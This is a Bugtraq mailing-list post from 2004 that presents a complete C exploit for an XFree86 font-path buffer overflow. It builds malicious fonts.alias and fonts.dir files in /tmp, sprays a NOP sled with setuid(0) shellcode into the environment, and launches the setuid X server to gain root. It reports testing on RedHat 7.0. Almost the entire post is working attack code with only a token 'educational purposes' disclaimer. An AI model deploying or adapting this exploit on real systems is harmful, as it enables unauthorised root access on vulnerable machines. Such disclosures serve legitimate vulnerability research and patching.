bugtraq - XFree86 vulnerability exploit

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Date: Wed, 11 Feb 2004 11:09:00 +0000
From: Bender <bender2@....lonestar.org>
To: bugtraq@...urityfocus.com
Subject: XFree86 vulnerability exploit


Hello

Below you can find a exploit for latest bug in XFree86 sofware.
Tested on some versions of RedHat Linux (mainly 7.0).

regards
Bender

/* For educational purposes only                            */
/* Brought to you by bender2@...estar.org   11.10.2004      */

#include <fcntl.h>

#define NOPNUM 8000
#define ADRNUM 1058

/* shellcode from LSD */
char setuidcode[]=         /* 8 bytes                        */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\xb0\x17"             /* movb    $0x17,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

char shellcode[]=          /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//id"           /* pushl   $0x68732f2f            */
    "\x68""/tmp"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

char jump[]=
    "\x8b\xc4"                /* movl   %esp,%eax           */
    "\xc3"                    /* ret                        */
;


main(int argc,char **argv){
    char buffer[20000],adr[4],pch[4],*b,*envp[4];
    int i,fd;


    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

    envp[0]=&buffer[2000];
    envp[1]=0;

    printf("adr: 0x%x\n",adr+12000);

    b=buffer;
    strcpy(buffer,"1\n");
    strcat(buffer,"aaaa.pcf -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
    fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));

    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b++='\n';

    fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));
    close(fd);

    b=&buffer[2000];
    
for(i=0;i<NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++) 
*b++=0x90;
    for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
}

 -- 
bender2@....lonestar.org
SDF Public Access UNIX System - http://sdf.lonestar.org